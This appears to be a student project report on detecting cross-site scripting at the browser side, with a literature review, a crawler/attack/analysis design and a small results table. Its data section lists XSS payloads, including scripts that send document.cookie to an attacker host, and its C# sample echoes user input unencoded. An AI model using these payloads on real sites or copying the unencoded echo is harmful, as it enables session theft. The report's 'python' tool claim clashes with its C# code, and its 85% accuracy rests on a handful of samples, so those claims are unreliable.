Evaluation ......................................................................................................................... 29 3.3.4 Research Rigor ............................................................................................................................... 29 3.4 Methodology .................................................................................................................................... 29 3.4.1 Crawling Component ....................................................................................................................... 29 3.4.2 Attack Component: ............................................................................................................ 30 3.4.3 Analysis Component: ........................................................................................................ 30 3.5 Sampling Procedures ............................................................................................................... 31 3.6 Data Collection and Analysis ............................................................................................... 31 CHAPTER FOUR: RESULTS, RECOMMENDATIONS AND CONCLUSION .................. 33 4.1 Introduction ............................................................................................................................ 33 4.2 Results ................................................................................................................................... 33 4.2 Limitations ............................................................................................................................. 37 4.3 Conclusion .............................................................................................................................. 37 4.3 Recommendation .................................................................................................................. 37 Reference ..................................................................................................................................... 38 List of Figures Figure 1 Scenario in XSS ............................................................................................................ 19 Figure 2 Conceptual design ....................................................................................................... 25 List of Table Table 1 Results of data tests ...................................................................................................... 35 Definitions **XSS (Cross site scripting)**- is a type of computer security vulnerability which enables attackers to inject client-side scripts into web pages viewed by other users. **Web applications**- is a client–server computer program in which the client runs in a web browser. **SQL (Structured Query language)**- is a domain-specific language used in programming and designed for managing data held in a relational database management system (RDBMS), or for stream processing in a relational data stream management system. **Design Science**- science is an outcome based information technology research methodology, which offers specific guidelines for evaluation and iteration within research projects. Abbreviations XSS Cross-Site Scripting WWW World Wide Web HTTP Hyper Text Transfer Protocol PHP Hypertext Preprocessor ASP Application Service Provider JSP Java Servlet Pages HTML Hypertext Markup Language CGI-PERL Common Gateway Interface WITH Practical Extraction and Report Language SQL Structured Query Language DNS Domain Name Service SOME Same Origin Method Execution CHAPTER ONE: INTRODUCTION Cross-Site Scripting has been known to be the most common and serious attack against web based services. Having vulnerability detection tools that runs on the browser side is the easiest way to detect this. Available tools for this XSS attacks detection are quite poor. In this chapter I discuss the introduction, the problem, and about scope and limitation of this work. 1.1 Introduction The internet comprising of the transport layer to the Application layer i.e the web has become so big and widespread that millions of applications and web services have been developed. We have had developers of these applications come into play with some who have no knowledge in security of the applications. This has lead to the developers depending on the security offered by the browsers. Growth on the internet and more so on the World wide web is so tremendous that if no solution is put across then attacks will be everywhere. Due to rapid growth in internet, the web sites have become more professional and dynamic. At current day and age dynamism in websites has taken over the internet. Social networks, transport services, smart cities and homes, banking among others use web services for their day to day operations. Hamada et al (2012) says “clients usually go to Google to search information, Amazon or E-Bay to buy books and many other goods and also they go to facebook to communicate with friends. Therefore, there is no doubt that Internet is gradually becoming an integral part of our daily life.” Since these sites have traffic ranging in millions of hits per hour the security against XSS is more required and well implemented on the browser itself as opposed to the web service provider. Hamada et al (2012) further states “that they should offer more security to the users of the above sites in a more reliable way. If the sites become vulnerable then due to the traffic to these site attacks are imminent and reputation for such sites are dented. So having a secure and beneficial network environment is necessary.” As technology becomes more and more complicated and connected, attacks too are evolving and the web service providers will require other developers to handle the attack security part. This will relieve the web service developers to deal with their core job of developing without thinking of the security component hence high productivity and reduced cost. Injection of cross site scripts has been done by the hackers and has resulted in losses from data to critical information. Damaging reputation of a site once an attack occurs is quite huge and at times can be irreversible. If you take an example of Facebook where traffic is so high with comments and counter comments if one injection was to occur, the possibility of the same being spread is so high. When such attacks occur it’s the site that loses its business but not the browser company. “One reason for the widespread of XSS vulnerabilities is that many developers aren't trained well enough about the security of websites. Security is often considered as a burden and as an extra effort that costs time and money, which can only be added at the end of a software project, if time and money still allow it. Regular security tests need to be part of an effective software development process and automated tools such as Web Vulnerability Scanners play an important role in providing a testing framework. Unfortunately, these tools aren't capable of detecting all kinds of XSS vulnerabilities, mainly because their attack strategy is ineffective” (Hydara et al 2015.) 1.2 Problem Statement The internet comprising of the transport layer to the Application layer i.e the web has become so big and widespread that millions of applications and web services have been developed. We have had developers of these applications come into play with some who have no knowledge in security of the applications. This has lead to the developers depending on the security offered by the browsers. Growth on the internet and more so on the World wide web is so tremendous that if no solution is put across then attacks will be everywhere. As the Internet is growing, the web sites become more professional and dynamic. Running the malicious codes is mostly on the client with the participant not having any knowledge of the operation. It takes over and compromises the customer information without his/her knowledge. The problem associated with this compromise is so detrimental that can be irreversible. These attacks have been so common on the client side and at times are even initiated by the participant themselves. As a result, the problem should be considered at the client side in default. The performance and reliability of the current tools have come into question. They do not cover the whole scope of XSS attacks and hence need to develop more light, fast and accurate tool. In this work a tool capable of dealing with this problem is developed. 1.3 Objectives 1.3.1 Main objective: The objective is to develop a reliable high performance and secure tool that can detect malicious XSS code at browser side. 1.3.2 Specific objective a) To analyze, classify and discuss the current situation of XSS problem. b) To identify, build and test the components of the proposed tool. c) To determine the capability, accuracy and performance. 1.4 Research Question This project tries to answer some frequently thought about questions, but not resolved effectively, about Cross site Scripting (XSS) attacks. These questions are:- a) Is it possible to stop XSS attacks in a more secure and easy way? b) What do the current tools offer? c) What are the shortfalls of these tools and previous researches? d) Can we develop a secure and light tool that can be incorporated within the web service scripts to reduce overhead load associated with current tools? 1.4 Scope and limitations 1.4.1 Scope of the project a) The project analyzes the current situation on scripting attacks. b) The work covers the current problems associated with XSS attack at the browser side. c) The solution is geared towards ease of use of tools to deter XSS attacks. 1.4.2 Limitation a) The model is only incorporated on the web service through a call within the service. b) The model is only applicable around the input from the participant. CHAPTER TWO: LITERATURE REVIEW 2.1 Introduction This section is broken down into background of XSS, risks associated with XSS, related tools, protection of the perimeter wall, exploitation of XSS vulnerability, the need to avoid XSS attacks, summary of the review and Conceptual design. 2.2 Background Security of web applications is a major concern in many organizations. Organizations come up with widespread ways to protect themselves. They try to protect their sensitive data and systems through many tools like firewall, Intrusion Detection System (IDS) e.t.c from attacks on their web based services. Most don’t achieve they intend even after putting up such tools. Some go to the extent of deploying humans just to monitor the traffic within their organizations. But still we have cases of attacks even on the most presumed secure organization. The main attacks are on SQL queries through SQL injection by XSS designed by hackers. This literature review digs deep into the security threats/vulnerabilities that are exploitable or are already exploited by these XSS attacks. Gadhiya et al 2014, states that,“as new technology arrives, it comes with lot of new features and possibly attacks. In the today’s trend of social web application, the SQL injection, cross site scripting (XSS) attack and cross site forgery attack are major challenges for web application.” Federal Information Processing Standards Publication (FIBS PU 200) defines a threat as a possible danger that might exploit a vulnerability to breach security and thus cause harm. Threats are basically exploits that allows one to obtain valuable thing at absolutely no cost with the intent of destroying reputation. The most important security notion within web communication is the idea of the same-origin policy. Same origin policy plays a lot in the systems vulnerability by assuming that what follows in a secure connection is always trusted. Even though the idea of same origin policy is much welcomed, it has brought with it the problem of hackers taking advantage. The principal intent for this mechanism is to make it possible for largely unrestrained scripting and other interactions between pages served as a part of the same site (understood as having a particular DNS host name, or part thereof), whilst almost completely preventing any interference between unrelated sites. Same origin policy in reality and practically does not exist, but a set of algorithms with artificial identity exist. K Selvamanii et al (March 2010). “International Journal of Computer Science and Information Security Vol 7, No 3, describes the rapid growth of Internet as resulting in feature rich, dynamic web applications hence result in harmful impact of security flaws in applications.” The most popular form of security threats in the current development of web applications is XSS. This is due to the ease of having a malicious script run alongside the real script without being detected. When you have a trusted site and you access it the XSS flaw will occur across the intermediate trusted site and the un-trusted site. Client side solution acts as a web proxy to mitigate Cross Site Scripting Flaws which manually generate rules to mitigate Cross Site Scripting attempts. It protects against having information’s leak from the authorized user to the hacker. Cross Site Scripting Flaws are easy to execute, but difficult to detect and prevent. The current solutions tent to reduce the level of performance of client’s system resulting in a poor web surfing experience. This project will provide a client side solution that is much light and easy to use. Hayak (2015) states that “To satisfy our need for a faster and more efficient user experience while using web applications, new protocols and techniques are formulated. They supply the web application developers with a powerful variety of options.” Developers are given variety of options in the new ways of dealing with security of web applications. As more applications are becoming more powerful, greater responsibility is required. It implies that the more growth in diversification of web application, more power is acquired and with wrong implementation the a disastrous outcome is expected. "Same Origin Method Execution" (SOME) is a result of such wrong implementation. SOME is a new web application attack where a site assumes that once a connection is established the connection is assumed to be from the same origin and that is kept until the communication is dropped. Importantly, the Same origin method execution entails a risk level threat only surpassed by Cross site Scripting. As a result almost every web service suffers from continues injection flaws. Xssed.com has tracked the reported issues which are of these kind. They did gather over 80,000 entries in slightly over three years and some of the persistent attacks were rather devastating. According to Shalini et al 2011, “the solutions on server side result in considerable degradation of web application and are often unreliable, whereas the client side solutions result in a poor web browsing experience, there is need of an efficient client side solution which does not degrade the performance.” According to Hydara et al (2015), “Research on XSS is still very active with publications across many conference proceedings and journals. The research has been further put high up on these conferences with the target being the scripting area. Other areas that investments have been focused on are attack prevention and vulnerability detection. Majority of solutions proposed and looked into are the dynamic analysis. Reflected XSS was dealt with the most Even thought it still remains a big problem XSS attacks are still not under control even after many solutions being developed. More research is needed in the area of vulnerability removal from the source code of the applications before deployment.” Upto date XSS has remained the most common vulnerability despite it being discovered back in 2000 by Computer Emergency Response advisory team. XSS has grown to be the most common attack in web applications and ranked first in OWASP Top Ten report 2007, second in 2010 and third in 2013. It occurs when one receives a malicious code then sent to other persons with or without knowledge. Systems that have comments and are able to give users an input field are most susceptible to attacks of this nature. Social media sites, chats, Forums, are all good examples of applications most susceptible to XSS. Hamada (2012) states that “XSS is a common vulnerability which can let hackers inject the code into the output application of web page which will be sent to a visitor’s web browser and then, the code which was injected will execute automatically or steal the sensitive information from the visitors input. This code injection which is similar to SQL Injection in Web Application Security, Figure 1.1 below shows how atypical XSS attack can be executed.” Figure 1 Scenario in XSS 1: User visits the attacker's Web site 2: User clicks on a malicious link and an HTTP request containing JavaScript code is sent to the trusted server 3: The trusted server returns an error message containing the name of the resource (i.e., the JavaScript code) 4: The JavaScript code is executed and the user's cookie associated with the trusted server is sent to the attacker's server 2.3 Cross site scripting examples Most sites are based on scripts and this makes them easy to attack. With millions of web services developed everyday attackers are also busy checking vulnerability associated with such application development. Generally cross site scripting vulnerability has been so profitable and attackers are so informed on how to exploit this. Going on with getting the vulnerability the hackers can get control of the whole site. The risks associated with XSS attacks if not dealt with are so wide and leaves your website vulnerable to: a) Stealing of login details like username and passwords. b) Taking sensitive information from clients and their website behavior. c) Stealing of company data. d) Keystroke logging of clients that visit your site e) Bringing down your whole site. f) Causing denial of service g) When they take control of your site they can ask for ransom. h) Redirecting your visitors to wrong sites. When XSS attackers exploit the vulnerability and attack a site they use those websites to: a) Probe the rest of the intranet for other vulnerabilities b) Spread the XSS attack cross the intranet c) Monitor the intranet behavior d) Launch Denial of Service attacks e) Launch Data illegal acquisition 2.4 Related tools Many tools have been developed to deal with vulnerability. A study by Shodhgana et al (2013), states that “many authors analyzed the limitations of the vulnerability scanners, by the study of penetration testing and static code analysis. An important fact when considering the limitations of the vulnerability scanning tools is that the testing for security is difficult. The testing involves complicated ways that requires some technical knowledge. The study further state that, finding vulnerability of sites is easy but determining how secure an application is could be challenging. Both penetration testing and static code analysis tools have intrinsic limitations. Penetration testing relies on effective code execution; however, in practice, vulnerability identification only examines the Web application’s output. Penetration testing is not done on the source code but just on how a site can be penetrated whereas static analysis involve having access to the source code. Failure to use the right tool to detect the above will leave the applications with undetected vulnerabilities.” Vulnerabilities in the application layer protocol are the main access point for hackers and this makes it very hard to detect. Several tools and techniques have been developed to analyze the vulnerabilities in web-based applications. Having this vulnerability scanned on daily basis is one of the ways to make sure your website is protected. Once the vulnerability is detected a proactive measure should be taken to ensure that the exploits are deterred. Having a reactive rather than proactive measure would allow for quick identification of vulnerabilities, which leave many websites in good health. Zero day attacks are quite common and deterring them is of high interest. There is no patch available for this vulnerability. Even though a Zero-Day attack may occur, it is possible to identify where the compromised websites are extracting the attack information from, or where the malicious website visitors are being redirected to. 2.5 Protection of the perimeter wall Perimeter wall is the area around the local network that allows for external access to the internet. Hyper Text Transfer Protocol (HTTP) is a stateless protocol widely used in the internet world wide web. The stateless protocol simplifies the server conception, because there is no need to dynamically allocate storage to deal with every current state. If a client disconnects in mid- transaction, no part of the system needs to be responsible for cleaning the present state of the server. However, this forces web developers to use alternative methods to authenticate HTTP requests and to maintain users’ states. ### 2.6 Exploitation of a cross-site scripting vulnerability According to Patil and Agrawal 2015, “wherever web based applications are distributed applications consisting of components that execute either on a web server or on a user's client, scripting vulnerabilities arise when content controlled by an adversary (i.e. untrusted data) flows into critical operations of the program (i.e. critical sinks) without sufficient security confirms. Patil determines that attackers take advantage of distributed applications to allow for scripting attacks to flow into critical parts of any application. This causes an attacker to gain higher privileges than intended by the web based application, characteristically contributing entrusted data the same chances as the web application's code.” Most of the attacks are first achieved by doing random checks on the vulnerability of the applications to XSS attacks. Unfortunately, most web applications, both Free/Open Source Software and commercial software, are susceptible. Attackers simply perform a Google search for terms that are often found in the software. After discovering the vulnerable web site the attacker looks through the HTML to find where the exploit code can be put. After this has been determined, the attacker then begins to code the exploit in any of these three ways: 1. **Reflected attacks:** The client/end-user is duped into clicking a malicious link or submitting a changed or manipulated form. The injected code is sent to a vulnerable web server that directs the cross-site attack back to the user’s browser. The browser then executes the malicious code, assuming it comes from a trusted server. 2. **Stored (persistent) attacks:** This is where a malicious code is injected into the target server and sits there waiting for trigger. When interacting with the target server, an end-user inadvertently retrieves and executes the malicious code from the server. 3. **DOM-based attacks:** Remote execution is activated to allow the attacker to execute malicious code on the target computer. The attacker injects the written code into the target site. **Getting the pay** After the attacker gains access to the vulnerable site, he/she now starts to be rewarded with the pay for the attack. In cases where the hacker’s intent was to steal login credentials then they are now collected. Actually the attacker is now in control and will do whatever they wish to do. Google and other site engines usually flag vulnerable sites after such attacks even if the sites have been fixed. This is quite expensive to the organization, considering the reputation cost it has on the organization. If the attacker succeeds, he/she will often do it on other related websites to increase the reward. 2.7 **Why cross-site scripting attacks should be avoided** Cross-site scripting costs organization by destroying their reputation and also on lose of sensitive data. The trust that takes ages to be built is destroyed by just one attack. The visitors will be discouraged to return to such sites even if it has been cleared and given good bill of health. Most of the search engines flag such sites even if the owners have fixed everything. Recovering from such kind of embarrassment is almost impossible and time will be required for the trust to be restored. The level of threats that attacks like XSS, SQL injections, denial of service among others have against the sites, requires the web site owners and developers to be on alert to deal with any of these. 2.8 **Review summary** With the current tools you can detect and deter some XSS attacks since they inspect the traffic and checks if the site has XSS vulnerabilities. But still these tools have some issues that need to be solved: a) Additional run time overhead and lack of identification of vulnerabilities due to false positives. b) Pricing costs which are not economical to small organizations or individuals. Even though dotDefender is placed as the cheapest tool it goes for around $3,995 c) Most tools require almost the entire configuration to be done manually and changed each time the site is altered. d) There are no tools for improving the performance and speed of your website. To address the above said limitations, I propose to come up with a system that will try to counter these limitations by: a) Having the code run within the services and on the browser side hence reduce the overhead of false positives by only checking the injection within its own service b) A cheap tool that is incorporated within the code of the web service c) A tool that is customizable by allowing users to configure each service on its own 2.9 Conceptual Design Xssed.com tries to put facts about XSS attacks. They explain that these attacks are generally invisible to the victims. These leads to many attacks going undetected and even the client might be a victim without realizing. Web/application servers and web application platforms are easily attacked by XSS. Without real protection they are susceptible to XSS. Websites that prefer to use Secure Socket Layer are not left out of these attacks. The only difference between protected sites, i.e the SSL secure and the unencrypted sites is the encryption of the connection. Every month over 25 XSS holes are published and explained by the Xssed.com To try and counter these the project brings use of three components: crawling, attack and analysis component. The crawling component looks for pages within the web application. It acts as the scanner and if its poor then it will miss major vulnerability. This component is the most crucial part since it must get all the pages within the web application. The attack component scans and extracts all links that are within the web application and then all the page forms which have the URL parameters and injects some patterns of attack. The patterns have parameters that can be either part of the HTTP POST request or URL query string. The two are not hard to exploit and can be so easily attacked. The analysis component determines the servers response and uses attack-specific keywords and pattern to determine how successful this was. Basically the concept is to detect, analyze and deter XSS attacks. ![Conceptual design](image-url) Figure 2 Conceptual design CHAPTER THREE: METHODOLOGY 3.1 Overview This chapter covers research strategy, guidelines, sample and sampling procedure, validity and reliability of mechanisms, data collection procedures and data analysis procedures. As a penetration technique XSS entails code injection; where user input is mistakenly interpreted as malicious program code. In order to prevent this type of code injection, secure input handling is needed, hence the need to come up with strategies on how to handle the above problem. Most systems attempt to prevent XSS attacks against web applications on the web server or attempt to remove vulnerabilities from the web application directly. While it is good to protect users from an attack when interacting with a specific web application, the users are unprotected when visiting other web sites. In this chapter I will describe the proposed model which works as current web vulnerability scanner, then describes technical details of XSS. 3.2 Research Design The study involved a careful and complete observation of the unit, which is a web page technology and emphasized on depth rather than the breath of study of XSS. Design science research is the research methodology used in this project. Design science is a research methodology that yields a final outcome based on information technology and offers guidelines for evaluation and iteration within research projects. With the project intent in having a functional algorithm and an artifact, these design method best suits this project. It focuses on the development and performance of (designed) artifacts with the explicit intention of improving the functional performance of the artifact. Design science research is typically applied to categories of artifacts including human/computer interfaces, design methodologies and languages. 3.3 Design Science Guidelines 3.3.1 Design Artifact This work main objective is to come up with a python based tool that deters XSS attacks at the browser side. The tool is able to analyze the input by a user to determine whether the Input is received as was sent or there has been manipulation. Below is the code that for the checking of the input in each text inserted. ```csharp using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string id = Request.QueryString["id"] as string; if (id == null) { lblId.Text = "NA"; } else { lblId.Text = id; } } ``` protected void Button1_Click(object sender, EventArgs e) { lblMessage.Text = "Hello " + TextBox1.Text; } protected void Button2_Click(object sender, EventArgs e) { lblMessage2.Text = "Hello " + TextBox2.Text; } protected void Button3_Click(object sender, EventArgs e) { string rawInput = TextBox3.Text; string encodedinput = Server.HtmlEncode(rawInput); lblMessage3.Text = "Hello " + encodedinput; } } 3.3.2 Problem Relevance As stated in the problem statement in chapter 1, as web application becomes the new way of doing business, web security is becoming crucial to programmers. If these are not sorted then we will be left at the hands of attackers. 3.3.3 Design Evaluation The tool is put to thorough evaluation by doing experimental tests, analytics and observation. The tool is subjected to many input text/scripts in a real web application platform and results noted against the other tools currently available. The main method that is used in this project is by experimental evaluation where the simulation is performed on a sample data received from previous attacks reported by the xssed.com site. 3.3.4 Research Rigor The XSS tool developed here in is secure, fast and high performance based on a research conducted and developed by Shodhganga et al 2013. Using that research, combined with research on SQL injection the XSS tool is developed. 3.4 Methodology The project brings use of three components: crawling, attack and analysis component. 3.4.1 Crawling Component The crawling component collects all pages of a Web application, and then stores each application with its corresponding page links within the application. It picks on the given URL within the pages and determines all the links within each page and put then on a result list. Scanners engines are poor in detecting vulnerability but the crawling component arguably get the best since it collects all the links within a page. It basically collects all the input to the system and store them for the next component to analyze. 3.4.2 Attack Component: The attack component extracts all internal links by going through the website, then injects various attack patterns. It parses this attack patterns into the URL parameters which were scanned by the crawling component. Parameters can be part of the URL query string or part of the request body in HTTP POST requests. Both are equally exploitable. 3.4.3 Analysis Component: The analysis component parses and interprets the server’s responses. If keywords or certain pattern is detected then an attack was successful. The analysis component uses some kind of attack vector, a piece of HTML or JavaScript code that is put into a parameter in-order to be reflected to user by being embedded into a HTTP response, to achieve its goal. A trusted website or part of the attack vector could carry the malicious code. 3.5 Sampling Procedures The sampling process involves the acquisition of known and reported attacks from the websites that have archives of these attacks. The sampling involved using of random data reported year by year. This is because the attacks evolve over period and hence this random collection achieved the best procedure. 3.6 Data Collection and Analysis As stated above in the sampling procedure the data collected were as follows: 1. `<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT>` 2. `<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name"); %> Employee Name: <%= name %> </%> 3. `<% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %> 4. `<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwv"` 5. <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> 6. <b onmouseover=alert('Wufff!')>click me!</b> 7. <SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie; </SCRIPT> CHAPTER FOUR: RESULTS, RECOMMENDATIONS AND CONCLUSION 4.1 Introduction This chapter entails the results, recommendations and conclusion based on the whole project life. 4.2 Results The first objective of this research was to analyze, classify and discuss situation of XSS problems. I was able, as shown in chapters 1 and 2, that XSS is a reality and has to be dealt with through development of effective tools. The project has been able to analyze the problems that come along with XSS attacks and these problems are grouped as: a) Stealing of login details like username and passwords. b) Taking sensitive information from clients and their website behavior. c) Stealing of company data. d) Keystroke logging of clients that visit your site e) Bringing down your whole site. f) Causing denial of service g) When they take control of your site they can ask for ransom. h) Redirecting your visitors to wrong sites. These attacks are truly risky in the current day of e-commerce where almost all transactions are internet based. The second objective was to identify, build and test the components of the XSS Detection tool. The tool has been identified, built and tested within the time plan. The tool is called XSS tool and is run on the client side. A working tool that implements a python to deter XSS attacks at the client side was developed. The tool is able to analyze the input by a user to determine whether the Input is received as was sent or there has been manipulation. The XSS detection tool has three major components: The crawling component collects all pages of a Web application, and then stores each application with its corresponding page links within the application. It picks on the given URL within the pages and determine all the links within each page and put then on a result list. Scanners engines are poor in detecting vulnerability but the crawling component arguably get the best since it collects all the links within a page. The attack component will scan website, extracts all internal links then scans all crawled pages forms field which is used in URL parameters then injects various attack patterns into these parameters. The analysis component parses and interprets the server's responses. It will use attack-specific criteria and keywords to determine if an attack was successful. For simplicity and easy installation, data is stored in a text file rather than in a database. Finally the third objective was to determine the capability, accuracy and performance. The analysis of the data collected in previous chapter involved passing this above known and reported attacks through the tool with the following results which were further compared to other tools:- ### Table 1 Results of data tests <table> <thead> <tr> <th>ATTACK</th> <th>XSS TOOL</th> <th>ACUNETIX</th> </tr> </thead> <tbody> <tr> <td><code>&lt;SCRIPT type=&quot;text/javascript&quot;&gt; var adr = '../evil.php?cakemonster=' + escape(document.cookie); &lt;/SCRIPT&gt;</code></td> <td>DETECTED</td> <td>DETECTED</td> </tr> <tr> <td><code>&lt;%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(&quot;select * from emp where id=&quot;+eid); if (rs != null) { rs.next(); String name = rs.getString(&quot;name&quot;); %&gt;</code></td> <td>DETECTED</td> <td>DETECTED</td> </tr> <tr> <td>Employee Name: <code>&lt;%= name %&gt;</code></td> <td></td> <td></td> </tr> <tr> <td><code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdD MnKTwvc2NyaXB0Pg&quot;&gt; &lt;% String eid = request.getParameter(&quot;eid&quot;); %&gt;</code></td> <td>NOT DETECTED</td> <td>DETECTED</td> </tr> <tr> <td>Employee ID: <code>&lt;%= eid %&gt;</code></td> <td></td> <td></td> </tr> </tbody> </table> From the above it was noted that the tool had an accuracy of over 85%. This tool has the ability to deter this kind of attacks. 4.2 Limitations 1. The study had challenges in that the attacks keep changing due to the dynamic field of scripting. As per the time of doing the test most of the known attacks were being handled by the server side tools. 2. Time constraint. Due to the wide scope of XSS attacks the time required to finalize the project was short. 4.3 Conclusion Looking at the size of the tool as compared to others is quiet simple and easy to set up. The tool basically runs on the client side and hence is so easy to handle. The results indicated over 85% accuracy in detection. This was quite impressive since the tool is more client side oriented and these attacks originate from different areas with diverse attack patterns. In conclusion the project has a strong ground for developing a tool that is based on the client side and can actually detect the attacks on the client system. This relieves the overload from the servers and allows the developers time to focus on the development of the systems and leave the security to the clients. 4.3 Recommendation The recommendation on the future development tools that affectively detect and deter XSS attacks should consider the overload associated with having the tools on the server side as opposed to client side. The XSS tool developed in this work is over 85% effective, from the test done, and future researchers can and should use this as a base to implement more effective tools. Reference http://www.webappsecblog.com/CsrfAndSameOriginXss.html http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.103.1725&rep=rep1&type=pdf http://shodhganga.inflibnet.ac.in:8080/jspui/bitstream/10603/24523/ 6. WASC Threat classification Version 2.0 viewed March 7 2016 http://projects.webappsec.org/f/WASC-TC-v2_0.pdf
{"Source-Url": "http://erepository.uonbi.ac.ke/bitstream/handle/11295/102974/Omondi_Security%20of%20Web%20Applications%20From%20Cross%20Site%20Scripting%20Attacks%20on%20Browser%20Side.pdf?isAllowed=y&sequence=1", "len_cl100k_base": 9352, "olmocr-version": "0.1.53", "pdf-total-pages": 38, "total-fallback-pages": 0, "total-input-tokens": 61366, "total-output-tokens": 11172, "length": "2e13", "weborganizer": {"__label__adult": 0.0008263587951660156, "__label__art_design": 0.0013828277587890625, "__label__crime_law": 0.007411956787109375, "__label__education_jobs": 0.0061492919921875, "__label__entertainment": 0.00019729137420654297, "__label__fashion_beauty": 0.0004355907440185547, "__label__finance_business": 0.0005125999450683594, "__label__food_dining": 0.0005855560302734375, "__label__games": 0.0013818740844726562, "__label__hardware": 0.002811431884765625, "__label__health": 0.0015277862548828125, "__label__history": 0.0005373954772949219, "__label__home_hobbies": 0.00019729137420654297, "__label__industrial": 0.0009632110595703124, "__label__literature": 0.0005464553833007812, "__label__politics": 0.0006785392761230469, "__label__religion": 0.0007042884826660156, "__label__science_tech": 0.17626953125, "__label__social_life": 0.00025844573974609375, "__label__software": 0.038726806640625, "__label__software_dev": 0.7568359375, "__label__sports_fitness": 0.0003840923309326172, "__label__transportation": 0.0004808902740478515, "__label__travel": 0.00024318695068359375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50958, 0.02802]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50958, 0.33833]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50958, 0.89705]], "google_gemma-3-12b-it_contains_pii": [[0, 375, false], [375, 1102, null], [1102, 1701, null], [1701, 4543, null], [4543, 6145, null], [6145, 10923, null], [10923, 12847, null], [12847, 13561, null], [13561, 13973, null], [13973, 16293, null], [16293, 17562, null], [17562, 18938, null], [18938, 19330, null], [19330, 19843, null], [19843, 20312, null], [20312, 22482, null], [22482, 24937, null], [24937, 27281, null], [27281, 27697, null], [27697, 28957, null], [28957, 31428, null], [31428, 33593, null], [33593, 35511, null], [35511, 37644, null], [37644, 37954, null], [37954, 39775, null], [39775, 40614, null], [40614, 41039, null], [41039, 42653, null], [42653, 43488, null], [43488, 44493, null], [44493, 44720, null], [44720, 46258, null], [46258, 47427, null], [47427, 48136, null], [48136, 48264, null], [48264, 49696, null], [49696, 50958, null]], "google_gemma-3-12b-it_is_public_document": [[0, 375, true], [375, 1102, null], [1102, 1701, null], [1701, 4543, null], [4543, 6145, null], [6145, 10923, null], [10923, 12847, null], [12847, 13561, null], [13561, 13973, null], [13973, 16293, null], [16293, 17562, null], [17562, 18938, null], [18938, 19330, null], [19330, 19843, null], [19843, 20312, null], [20312, 22482, null], [22482, 24937, null], [24937, 27281, null], [27281, 27697, null], [27697, 28957, null], [28957, 31428, null], [31428, 33593, null], [33593, 35511, null], [35511, 37644, null], [37644, 37954, null], [37954, 39775, null], [39775, 40614, null], [40614, 41039, null], [41039, 42653, null], [42653, 43488, null], [43488, 44493, null], [44493, 44720, null], [44720, 46258, null], [46258, 47427, null], [47427, 48136, null], [48136, 48264, null], [48264, 49696, null], [49696, 50958, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50958, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50958, null]], "pdf_page_numbers": [[0, 375, 1], [375, 1102, 2], [1102, 1701, 3], [1701, 4543, 4], [4543, 6145, 5], [6145, 10923, 6], [10923, 12847, 7], [12847, 13561, 8], [13561, 13973, 9], [13973, 16293, 10], [16293, 17562, 11], [17562, 18938, 12], [18938, 19330, 13], [19330, 19843, 14], [19843, 20312, 15], [20312, 22482, 16], [22482, 24937, 17], [24937, 27281, 18], [27281, 27697, 19], [27697, 28957, 20], [28957, 31428, 21], [31428, 33593, 22], [33593, 35511, 23], [35511, 37644, 24], [37644, 37954, 25], [37954, 39775, 26], [39775, 40614, 27], [40614, 41039, 28], [41039, 42653, 29], [42653, 43488, 30], [43488, 44493, 31], [44493, 44720, 32], [44720, 46258, 33], [46258, 47427, 34], [47427, 48136, 35], [48136, 48264, 36], [48264, 49696, 37], [49696, 50958, 38]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50958, 0.02077]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
9d865cf2c9e070dd4c96459ba4f49afbbd519e06
